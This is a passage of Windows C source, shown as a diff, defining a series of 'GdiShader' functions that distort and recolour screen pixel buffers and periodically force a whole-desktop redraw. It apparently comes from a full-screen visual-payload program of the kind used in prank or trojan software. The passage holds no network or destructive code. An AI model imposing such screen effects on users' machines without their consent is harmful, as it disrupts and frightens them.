nNewBlockSize, nNewBlockSize, hdcTemp, x, y, nBlockSize, nBlockSize, SRCCOPY);
|
| 1081 |
+
}
|
| 1082 |
+
}
|
| 1083 |
+
|
| 1084 |
+
VOID
|
| 1085 |
+
WINAPI
|
| 1086 |
+
GdiShader8(
|
| 1087 |
+
_In_ INT t,
|
| 1088 |
+
_In_ INT w,
|
| 1089 |
+
_In_ INT h,
|
| 1090 |
+
_In_ HDC hdcTemp,
|
| 1091 |
+
_In_ HBITMAP hbmTemp,
|
| 1092 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1093 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1094 |
+
)
|
| 1095 |
+
{
|
| 1096 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1097 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1098 |
+
|
| 1099 |
+
UINT u;
|
| 1100 |
+
UINT v;
|
| 1101 |
+
FLOAT div = (FLOAT)t / 1.f;
|
| 1102 |
+
FLOAT a = FastSine(div) * 2.f;
|
| 1103 |
+
FLOAT b = FastCosine(div) * 2.f;
|
| 1104 |
+
FLOAT f = 1.f / 4.f;
|
| 1105 |
+
RGBQUAD rgbDst;
|
| 1106 |
+
RGBQUAD rgbSrc;
|
| 1107 |
+
HSLCOLOR hsl;
|
| 1108 |
+
|
| 1109 |
+
for (INT y = 0; y < h; y++)
|
| 1110 |
+
{
|
| 1111 |
+
for (INT x = 0; x < w; x++)
|
| 1112 |
+
{
|
| 1113 |
+
u = x + (INT)a + (INT)(TriangleWave(y, t, h) * 8.f);
|
| 1114 |
+
v = y + (INT)b;
|
| 1115 |
+
|
| 1116 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 1117 |
+
|
| 1118 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1119 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 1120 |
+
|
| 1121 |
+
if (!rgbSrc.rgb)
|
| 1122 |
+
{
|
| 1123 |
+
rgbSrc.rgb = 1;
|
| 1124 |
+
}
|
| 1125 |
+
|
| 1126 |
+
rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 18) + 1);
|
| 1127 |
+
FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (3.f - f);
|
| 1128 |
+
FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (14.f - f);
|
| 1129 |
+
FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (10.f - f);
|
| 1130 |
+
rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 2));
|
| 1131 |
+
|
| 1132 |
+
hsl = RGBToHSL(rgbDst);
|
| 1133 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + (DOUBLE)(x + y) / 100000.0 + 0.05, 1.0);
|
| 1134 |
+
hsl.s = 1.f;
|
| 1135 |
+
|
| 1136 |
+
if (hsl.l < .3f)
|
| 1137 |
+
{
|
| 1138 |
+
hsl.l += .2f;
|
| 1139 |
+
}
|
| 1140 |
+
|
| 1141 |
+
rgbDst = HSLToRGB(hsl);
|
| 1142 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1143 |
+
}
|
| 1144 |
+
}
|
| 1145 |
+
}
|
| 1146 |
+
|
| 1147 |
+
VOID
|
| 1148 |
+
WINAPI
|
| 1149 |
+
PostGdiShader6(
|
| 1150 |
+
_In_ INT t,
|
| 1151 |
+
_In_ INT w,
|
| 1152 |
+
_In_ INT h,
|
| 1153 |
+
_In_ RECT rcBounds,
|
| 1154 |
+
_In_ HDC hdcDst,
|
| 1155 |
+
_In_ HDC hdcTemp
|
| 1156 |
+
)
|
| 1157 |
+
{
|
| 1158 |
+
if (!(t % 32))
|
| 1159 |
+
{
|
| 1160 |
+
RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
|
| 1161 |
+
}
|
| 1162 |
+
else
|
| 1163 |
+
{
|
| 1164 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
|
| 1165 |
+
}
|
| 1166 |
+
}
|
| 1167 |
+
|
| 1168 |
+
VOID
|
| 1169 |
+
WINAPI
|
| 1170 |
+
GdiShader9(
|
| 1171 |
+
_In_ INT t,
|
| 1172 |
+
_In_ INT w,
|
| 1173 |
+
_In_ INT h,
|
| 1174 |
+
_In_ HDC hdcTemp,
|
| 1175 |
+
_In_ HBITMAP hbmTemp,
|
| 1176 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1177 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1178 |
+
)
|
| 1179 |
+
{
|
| 1180 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1181 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1182 |
+
|
| 1183 |
+
UINT u;
|
| 1184 |
+
UINT v;
|
| 1185 |
+
FLOAT div = (FLOAT)t / 15.f;
|
| 1186 |
+
FLOAT a = FastSine(div) * 4.f;
|
| 1187 |
+
FLOAT b = FastCosine(div) * 2.f;
|
| 1188 |
+
FLOAT f = 1.f / 3.f;
|
| 1189 |
+
RGBQUAD rgbDst;
|
| 1190 |
+
RGBQUAD rgbSrc;
|
| 1191 |
+
HSLCOLOR hsl;
|
| 1192 |
+
|
| 1193 |
+
for (INT y = 0; y < h; y++)
|
| 1194 |
+
{
|
| 1195 |
+
for (INT x = 0; x < w; x++)
|
| 1196 |
+
{
|
| 1197 |
+
u = x + (INT)a + (INT)(SawtoothWave(y, t, h) * 18.f);
|
| 1198 |
+
v = y + (INT)b;
|
| 1199 |
+
|
| 1200 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 1201 |
+
|
| 1202 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1203 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 1204 |
+
|
| 1205 |
+
if (!rgbSrc.rgb)
|
| 1206 |
+
{
|
| 1207 |
+
rgbSrc.rgb = 1;
|
| 1208 |
+
}
|
| 1209 |
+
|
| 1210 |
+
rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 8) + 1);
|
| 1211 |
+
FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (4.f - f);
|
| 1212 |
+
FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (6.f - f);
|
| 1213 |
+
FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (7.f - f);
|
| 1214 |
+
rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 6));
|
| 1215 |
+
|
| 1216 |
+
hsl = RGBToHSL(rgbDst);
|
| 1217 |
+
hsl.h /= 1.0165f;
|
| 1218 |
+
hsl.s /= 1.0135f;
|
| 1219 |
+
hsl.l /= 1.0115f;
|
| 1220 |
+
rgbDst = HSLToRGB(hsl);
|
| 1221 |
+
|
| 1222 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1223 |
+
}
|
| 1224 |
+
}
|
| 1225 |
+
}
|
| 1226 |
+
|
| 1227 |
+
VOID
|
| 1228 |
+
WINAPI
|
| 1229 |
+
GdiShader10(
|
| 1230 |
+
_In_ INT t,
|
| 1231 |
+
_In_ INT w,
|
| 1232 |
+
_In_ INT h,
|
| 1233 |
+
_In_ HDC hdcTemp,
|
| 1234 |
+
_In_ HBITMAP hbmTemp,
|
| 1235 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1236 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1237 |
+
)
|
| 1238 |
+
{
|
| 1239 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1240 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1241 |
+
|
| 1242 |
+
UINT u;
|
| 1243 |
+
UINT v;
|
| 1244 |
+
FLOAT f = 1.f / 4.f;
|
| 1245 |
+
RGBQUAD rgbDst;
|
| 1246 |
+
RGBQUAD rgbSrc;
|
| 1247 |
+
HSLCOLOR hsl;
|
| 1248 |
+
|
| 1249 |
+
for (INT y = 0; y < h; y++)
|
| 1250 |
+
{
|
| 1251 |
+
for (INT x = 0; x < w; x++)
|
| 1252 |
+
{
|
| 1253 |
+
u = x + ((t + y) % 34) * -1;
|
| 1254 |
+
v = y + (t + x) % 54;
|
| 1255 |
+
|
| 1256 |
+
u %= w;
|
| 1257 |
+
v %= h;
|
| 1258 |
+
|
| 1259 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1260 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 1261 |
+
|
| 1262 |
+
FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (1.f - f);
|
| 1263 |
+
FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (1.f - f);
|
| 1264 |
+
FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
|
| 1265 |
+
rgbDst.rgb = (((BYTE)_b << 30) | ((BYTE)_g << 22) | ((BYTE)_r << 0));
|
| 1266 |
+
|
| 1267 |
+
hsl = RGBToHSL(rgbDst);
|
| 1268 |
+
hsl.s = .5f;
|
| 1269 |
+
hsl.l *= 1.125f;
|
| 1270 |
+
|
| 1271 |
+
if (hsl.l > .5f)
|
| 1272 |
+
{
|
| 1273 |
+
hsl.l -= .5f;
|
| 1274 |
+
}
|
| 1275 |
+
|
| 1276 |
+
if (hsl.l < .25f)
|
| 1277 |
+
{
|
| 1278 |
+
hsl.l += .25f;
|
| 1279 |
+
}
|
| 1280 |
+
|
| 1281 |
+
rgbDst = HSLToRGB(hsl);
|
| 1282 |
+
|
| 1283 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1284 |
+
}
|
| 1285 |
+
}
|
| 1286 |
+
}
|
| 1287 |
+
|
| 1288 |
+
VOID
|
| 1289 |
+
WINAPI
|
| 1290 |
+
GdiShader11(
|
| 1291 |
+
_In_ INT t,
|
| 1292 |
+
_In_ INT w,
|
| 1293 |
+
_In_ INT h,
|
| 1294 |
+
_In_ HDC hdcTemp,
|
| 1295 |
+
_In_ HBITMAP hbmTemp,
|
| 1296 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1297 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1298 |
+
)
|
| 1299 |
+
{
|
| 1300 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1301 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1302 |
+
|
| 1303 |
+
UINT u;
|
| 1304 |
+
UINT v;
|
| 1305 |
+
FLOAT f = 1.f / 4.f;
|
| 1306 |
+
RGBQUAD rgbDst;
|
| 1307 |
+
RGBQUAD rgbSrc;
|
| 1308 |
+
HSLCOLOR hsl;
|
| 1309 |
+
|
| 1310 |
+
for (INT y = 0; y < h; y++)
|
| 1311 |
+
{
|
| 1312 |
+
for (INT x = 0; x < w; x++)
|
| 1313 |
+
{
|
| 1314 |
+
u = x + y / (h / 19);
|
| 1315 |
+
v = y + u / (w / 1);
|
| 1316 |
+
u = x + v / (h / 13);
|
| 1317 |
+
|
| 1318 |
+
u %= w;
|
| 1319 |
+
v %= h;
|
| 1320 |
+
|
| 1321 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1322 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 1323 |
+
|
| 1324 |
+
FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (14.f - f);
|
| 1325 |
+
FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (12.f - f);
|
| 1326 |
+
FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
|
| 1327 |
+
rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 16));
|
| 1328 |
+
|
| 1329 |
+
hsl = RGBToHSL(rgbDst);
|
| 1330 |
+
|
| 1331 |
+
if (hsl.s < .5f)
|
| 1332 |
+
{
|
| 1333 |
+
hsl.s = .5f;
|
| 1334 |
+
}
|
| 1335 |
+
|
| 1336 |
+
if ((roundf(hsl.h * 10.f) / 10.f) != (roundf((FLOAT)((Xorshift32() + t) % 257) / 6.f * 14.f) / 10.f))
|
| 1337 |
+
{
|
| 1338 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .1, 1.0);
|
| 1339 |
+
}
|
| 1340 |
+
else
|
| 1341 |
+
{
|
| 1342 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .19, 1.0);
|
| 1343 |
+
}
|
| 1344 |
+
|
| 1345 |
+
rgbDst = HSLToRGB(hsl);
|
| 1346 |
+
|
| 1347 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1348 |
+
}
|
| 1349 |
+
}
|
| 1350 |
+
}
|
| 1351 |
+
|
| 1352 |
+
VOID
|
| 1353 |
+
WINAPI
|
| 1354 |
+
GdiShader12(
|
| 1355 |
+
_In_ INT t,
|
| 1356 |
+
_In_ INT w,
|
| 1357 |
+
_In_ INT h,
|
| 1358 |
+
_In_ HDC hdcTemp,
|
| 1359 |
+
_In_ HBITMAP hbmTemp,
|
| 1360 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1361 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1362 |
+
)
|
| 1363 |
+
{
|
| 1364 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1365 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1366 |
+
|
| 1367 |
+
UINT u;
|
| 1368 |
+
UINT v;
|
| 1369 |
+
RGBQUAD rgbDst;
|
| 1370 |
+
|
| 1371 |
+
for (INT y = 0; y < h; y++)
|
| 1372 |
+
{
|
| 1373 |
+
FLOAT a = SquareWave(t + y, t, h) * 11000000.f;
|
| 1374 |
+
|
| 1375 |
+
for (INT x = 0; x < w; x++)
|
| 1376 |
+
{
|
| 1377 |
+
u = x + (INT)a;
|
| 1378 |
+
v = y;
|
| 1379 |
+
|
| 1380 |
+
u %= w;
|
| 1381 |
+
v %= h;
|
| 1382 |
+
|
| 1383 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1384 |
+
rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r - 2) << 24));
|
| 1385 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1386 |
+
}
|
| 1387 |
+
}
|
| 1388 |
+
}
|
| 1389 |
+
|
| 1390 |
+
VOID
|
| 1391 |
+
WINAPI
|
| 1392 |
+
GdiShader13(
|
| 1393 |
+
_In_ INT t,
|
| 1394 |
+
_In_ INT w,
|
| 1395 |
+
_In_ INT h,
|
| 1396 |
+
_In_ HDC hdcTemp,
|
| 1397 |
+
_In_ HBITMAP hbmTemp,
|
| 1398 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1399 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1400 |
+
)
|
| 1401 |
+
{
|
| 1402 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1403 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1404 |
+
|
| 1405 |
+
UINT u;
|
| 1406 |
+
UINT v;
|
| 1407 |
+
RGBQUAD rgbDst;
|
| 1408 |
+
|
| 1409 |
+
for (INT y = 0; y < h; y++)
|
| 1410 |
+
{
|
| 1411 |
+
FLOAT a = TriangleWave(t * 4 + y, 10, h) * 19.f;
|
| 1412 |
+
|
| 1413 |
+
for (INT x = 0; x < w; x++)
|
| 1414 |
+
{
|
| 1415 |
+
u = x + (INT)a;
|
| 1416 |
+
v = y;
|
| 1417 |
+
|
| 1418 |
+
u %= w;
|
| 1419 |
+
v %= h;
|
| 1420 |
+
|
| 1421 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1422 |
+
rgbDst.rgb = ((rgbDst.b + 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r + 1) << 13));
|
| 1423 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1424 |
+
}
|
| 1425 |
+
}
|
| 1426 |
+
}
|
| 1427 |
+
|
| 1428 |
+
VOID
|
| 1429 |
+
WINAPI
|
| 1430 |
+
GdiShader14(
|
| 1431 |
+
_In_ INT t,
|
| 1432 |
+
_In_ INT w,
|
| 1433 |
+
_In_ INT h,
|
| 1434 |
+
_In_ HDC hdcTemp,
|
| 1435 |
+
_In_ HBITMAP hbmTemp,
|
| 1436 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1437 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1438 |
+
)
|
| 1439 |
+
{
|
| 1440 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1441 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1442 |
+
|
| 1443 |
+
UINT u;
|
| 1444 |
+
UINT v;
|
| 1445 |
+
RGBQUAD rgbDst;
|
| 1446 |
+
|
| 1447 |
+
for (INT y = 0; y < h; y++)
|
| 1448 |
+
{
|
| 1449 |
+
FLOAT a = FastSine(2 * 1 + 3) * 1.f;
|
| 1450 |
+
|
| 1451 |
+
for (INT x = 0; x < w; x++)
|
| 1452 |
+
{
|
| 1453 |
+
u = x + (INT)a;
|
| 1454 |
+
v = y;
|
| 1455 |
+
|
| 1456 |
+
u %= w;
|
| 1457 |
+
v %= h;
|
| 1458 |
+
|
| 1459 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1460 |
+
rgbDst.rgb = ((rgbDst.b + (t)) | ((rgbDst.g + (t)) << t) | ((rgbDst.r + (x & y)) << 1));
|
| 1461 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1462 |
+
}
|
| 1463 |
+
}
|
| 1464 |
+
}
|
| 1465 |
+
|
| 1466 |
+
VOID
|
| 1467 |
+
WINAPI
|
| 1468 |
+
GdiShader15(
|
| 1469 |
+
_In_ INT t,
|
| 1470 |
+
_In_ INT w,
|
| 1471 |
+
_In_ INT h,
|
| 1472 |
+
_In_ HDC hdcTemp,
|
| 1473 |
+
_In_ HBITMAP hbmTemp,
|
| 1474 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1475 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1476 |
+
)
|
| 1477 |
+
{
|
| 1478 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1479 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1480 |
+
|
| 1481 |
+
UINT u;
|
| 1482 |
+
UINT v;
|
| 1483 |
+
RGBQUAD rgbDst;
|
| 1484 |
+
|
| 1485 |
+
for (INT y = 0; y < h; y++)
|
| 1486 |
+
{
|
| 1487 |
+
for (INT x = 0; x < w; x++)
|
| 1488 |
+
{
|
| 1489 |
+
FLOAT a = coshf(atan2f((FLOAT)((y * t - 3) & t), (FLOAT)((13 * 32) & t))) * log10f((FLOAT)(t | 6 - 3)) * 2.f;
|
| 1490 |
+
FLOAT b = expf((FLOAT)acos((DOUBLE)t / 1.0) + t);
|
| 1491 |
+
|
| 1492 |
+
u = x + (INT)a;
|
| 1493 |
+
v = y + (INT)b;
|
| 1494 |
+
|
| 1495 |
+
u %= w;
|
| 1496 |
+
v %= h;
|
| 1497 |
+
|
| 1498 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1499 |
+
rgbDst.rgb = ((rgbDst.b ^ rgbDst.g << t) | ((rgbDst.g ^ rgbDst.r) << 6) | ((rgbDst.r ^ rgbDst.b) << t));
|
| 1500 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1501 |
+
}
|
| 1502 |
+
}
|
| 1503 |
+
}
|
| 1504 |
+
|
| 1505 |
+
VOID
|
| 1506 |
+
WINAPI
|
| 1507 |
+
GdiShader16(
|
| 1508 |
+
_In_ INT t,
|
| 1509 |
+
_In_ INT w,
|
| 1510 |
+
_In_ INT h,
|
| 1511 |
+
_In_ HDC hdcTemp,
|
| 1512 |
+
_In_ HBITMAP hbmTemp,
|
| 1513 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1514 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1515 |
+
)
|
| 1516 |
+
{
|
| 1517 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1518 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1519 |
+
|
| 1520 |
+
UINT u;
|
| 1521 |
+
UINT v;
|
| 1522 |
+
RGBQUAD rgbDst;
|
| 1523 |
+
|
| 1524 |
+
for (INT y = 0; y < h; y++)
|
| 1525 |
+
{
|
| 1526 |
+
for (INT x = 0; x < w; x++)
|
| 1527 |
+
{
|
| 1528 |
+
FLOAT a = sinhf(atanf((FLOAT)(((t + x) * 12 - 3) & t))) * logf((FLOAT)(t | 13 - 68)) * 3 - 1.f;
|
| 1529 |
+
FLOAT b = expf((FLOAT)asin((DOUBLE)t / tanh(1.0)) + (FLOAT)(x + y));
|
| 1530 |
+
|
| 1531 |
+
u = x + (INT)a;
|
| 1532 |
+
v = y - (INT)b;
|
| 1533 |
+
|
| 1534 |
+
u %= w;
|
| 1535 |
+
v %= h;
|
| 1536 |
+
|
| 1537 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1538 |
+
rgbDst.rgb = ((rgbDst.b | rgbDst.g) | ((rgbDst.g | rgbDst.r) << 24) | ((rgbDst.r) << t));
|
| 1539 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1540 |
+
}
|
| 1541 |
+
}
|
| 1542 |
+
}
|
| 1543 |
+
|
| 1544 |
+
VOID
|
| 1545 |
+
WINAPI
|
| 1546 |
+
GdiShader17(
|
| 1547 |
+
_In_ INT t,
|
| 1548 |
+
_In_ INT w,
|
| 1549 |
+
_In_ INT h,
|
| 1550 |
+
_In_ HDC hdcTemp,
|
| 1551 |
+
_In_ HBITMAP hbmTemp,
|
| 1552 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1553 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1554 |
+
)
|
| 1555 |
+
{
|
| 1556 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1557 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1558 |
+
|
| 1559 |
+
UINT u;
|
| 1560 |
+
UINT v;
|
| 1561 |
+
RGBQUAD rgbDst;
|
| 1562 |
+
|
| 1563 |
+
for (INT y = 0; y < h; y++)
|
| 1564 |
+
{
|
| 1565 |
+
for (INT x = 0; x < w; x++)
|
| 1566 |
+
{
|
| 1567 |
+
FLOAT a = (FLOAT)ldexp((DOUBLE)atanf((FLOAT)(((t + x) * 16) & t)), t + y) * (FLOAT)scalbn((DOUBLE)(t | 25), x & y * 64) * 22.f;
|
| 1568 |
+
FLOAT b = (FLOAT)expm1((DOUBLE)sqrtf(t * (FLOAT)hypot(10.0, (DOUBLE)(t % 20))) + (DOUBLE)(x | y));
|
| 1569 |
+
|
| 1570 |
+
u = x + (INT)b;
|
| 1571 |
+
v = y + (INT)a;
|
| 1572 |
+
|
| 1573 |
+
u %= w;
|
| 1574 |
+
v %= h;
|
| 1575 |
+
|
| 1576 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1577 |
+
HSLCOLOR hsl = RGBToHSL(rgbDst);
|
| 1578 |
+
hsl.h = (FLOAT)fmod((DOUBLE)rgbDst.r / 25.0 + (DOUBLE)t / 18.0, 1.0);
|
| 1579 |
+
hsl.s = (FLOAT)rgbDst.g / 255.f;
|
| 1580 |
+
hsl.l = (FLOAT)rgbDst.b / 55.f;
|
| 1581 |
+
rgbDst = HSLToRGB(hsl);
|
| 1582 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1583 |
+
}
|
| 1584 |
+
}
|
| 1585 |
+
}
|
| 1586 |
+
|
| 1587 |
+
VOID
|
| 1588 |
+
WINAPI
|
| 1589 |
+
GdiShader18(
|
| 1590 |
+
_In_ INT t,
|
| 1591 |
+
_In_ INT w,
|
| 1592 |
+
_In_ INT h,
|
| 1593 |
+
_In_ HDC hdcTemp,
|
| 1594 |
+
_In_ HBITMAP hbmTemp,
|
| 1595 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1596 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1597 |
+
)
|
| 1598 |
+
{
|
| 1599 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1600 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1601 |
+
|
| 1602 |
+
UINT u;
|
| 1603 |
+
UINT v;
|
| 1604 |
+
RGBQUAD rgbDst;
|
| 1605 |
+
FLOAT c = 1.f / 8.f;
|
| 1606 |
+
BYTE d;
|
| 1607 |
+
|
| 1608 |
+
for (INT y = 0; y < h; y++)
|
| 1609 |
+
{
|
| 1610 |
+
FLOAT a = TriangleWave(t * 8 + y / 7, 2, w) * SquareWave(t * 8 + y / 7, 7, h) * 4.f;
|
| 1611 |
+
|
| 1612 |
+
for (INT x = 0; x < w; x++)
|
| 1613 |
+
{
|
| 1614 |
+
FLOAT b = TriangleWave(t * 8 + x / 2, 2, w) * SquareWave(t * 8 + y / 7, 2, h) * 4.f;
|
| 1615 |
+
|
| 1616 |
+
u = x + (INT)a;
|
| 1617 |
+
v = y + (INT)b;
|
| 1618 |
+
|
| 1619 |
+
u %= w;
|
| 1620 |
+
v %= h;
|
| 1621 |
+
|
| 1622 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1623 |
+
rgbDst.r = (BYTE)((FLOAT)rgbDst.r * c + (a * b) * (1.f - c));
|
| 1624 |
+
rgbDst.g += rgbDst.r / 36;
|
| 1625 |
+
|
| 1626 |
+
d = rgbDst.b;
|
| 1627 |
+
|
| 1628 |
+
if (!d)
|
| 1629 |
+
{
|
| 1630 |
+
d = 1;
|
| 1631 |
+
}
|
| 1632 |
+
|
| 1633 |
+
rgbDst.b += rgbDst.r / d;
|
| 1634 |
+
|
| 1635 |
+
HSLCOLOR hsl = RGBToHSL(rgbDst);
|
| 1636 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .01, 1.0);
|
| 1637 |
+
hsl.s = (FLOAT)fmod((DOUBLE)(hsl.s + hsl.h) + .01, 1.0);
|
| 1638 |
+
hsl.l = (FLOAT)fmod((DOUBLE)(hsl.l + hsl.h) + .01, 1.0);
|
| 1639 |
+
rgbDst = HSLToRGB(hsl);
|
| 1640 |
+
|
| 1641 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1642 |
+
}
|
| 1643 |
+
}
|
| 1644 |
+
}
|
| 1645 |
+
|
| 1646 |
+
VOID
|
| 1647 |
+
WINAPI
|
| 1648 |
+
GdiShader19(
|
| 1649 |
+
_In_ INT t,
|
| 1650 |
+
_In_ INT w,
|
| 1651 |
+
_In_ INT h,
|
| 1652 |
+
_In_ HDC hdcTemp,
|
| 1653 |
+
_In_ HBITMAP hbmTemp,
|
| 1654 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1655 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1656 |
+
)
|
| 1657 |
+
{
|
| 1658 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1659 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1660 |
+
|
| 1661 |
+
UINT u;
|
| 1662 |
+
UINT v;
|
| 1663 |
+
RGBQUAD rgbDst;
|
| 1664 |
+
|
| 1665 |
+
for (INT y = 0; y < h; y++)
|
| 1666 |
+
{
|
| 1667 |
+
FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
|
| 1668 |
+
|
| 1669 |
+
for (INT x = 0; x < w; x++)
|
| 1670 |
+
{
|
| 1671 |
+
u = x + 0 + (INT)a;
|
| 1672 |
+
v = y;
|
| 1673 |
+
|
| 1674 |
+
u %= w;
|
| 1675 |
+
v %= h;
|
| 1676 |
+
|
| 1677 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1678 |
+
rgbDst.rgb += (COLORREF)(__rdtsc() & 0b1000000010000000 & (__rdtsc() & 0b100000001000000010000000));
|
| 1679 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1680 |
+
}
|
| 1681 |
+
}
|
| 1682 |
+
}
|
| 1683 |
+
|
| 1684 |
+
VOID
|
| 1685 |
+
WINAPI
|
| 1686 |
+
GdiShader20(
|
| 1687 |
+
_In_ INT t,
|
| 1688 |
+
_In_ INT w,
|
| 1689 |
+
_In_ INT h,
|
| 1690 |
+
_In_ HDC hdcTemp,
|
| 1691 |
+
_In_ HBITMAP hbmTemp,
|
| 1692 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1693 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1694 |
+
)
|
| 1695 |
+
{
|
| 1696 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1697 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1698 |
+
|
| 1699 |
+
UINT u;
|
| 1700 |
+
UINT v;
|
| 1701 |
+
RGBQUAD rgbDst;
|
| 1702 |
+
|
| 1703 |
+
HSLCOLOR hsl;
|
| 1704 |
+
hsl.h = (FLOAT)fmod((DOUBLE)t / 512.0, 1.0);
|
| 1705 |
+
hsl.s = 1.f;
|
| 1706 |
+
hsl.l = .5f;
|
| 1707 |
+
COLORREF crRainbow = HSLToRGB(hsl).rgb;
|
| 1708 |
+
|
| 1709 |
+
for (INT y = 0; y < h; y++)
|
| 1710 |
+
{
|
| 1711 |
+
FLOAT a = FastSine((FLOAT)1 / 26.f + (FLOAT)y / 34.f) * 18.f;
|
| 1712 |
+
|
| 1713 |
+
for (INT x = 0; x < w; x++)
|
| 1714 |
+
{
|
| 1715 |
+
u = x + (INT)a;
|
| 1716 |
+
v = y ^ (y % (abs((INT)(a * a)) + 1));
|
| 1717 |
+
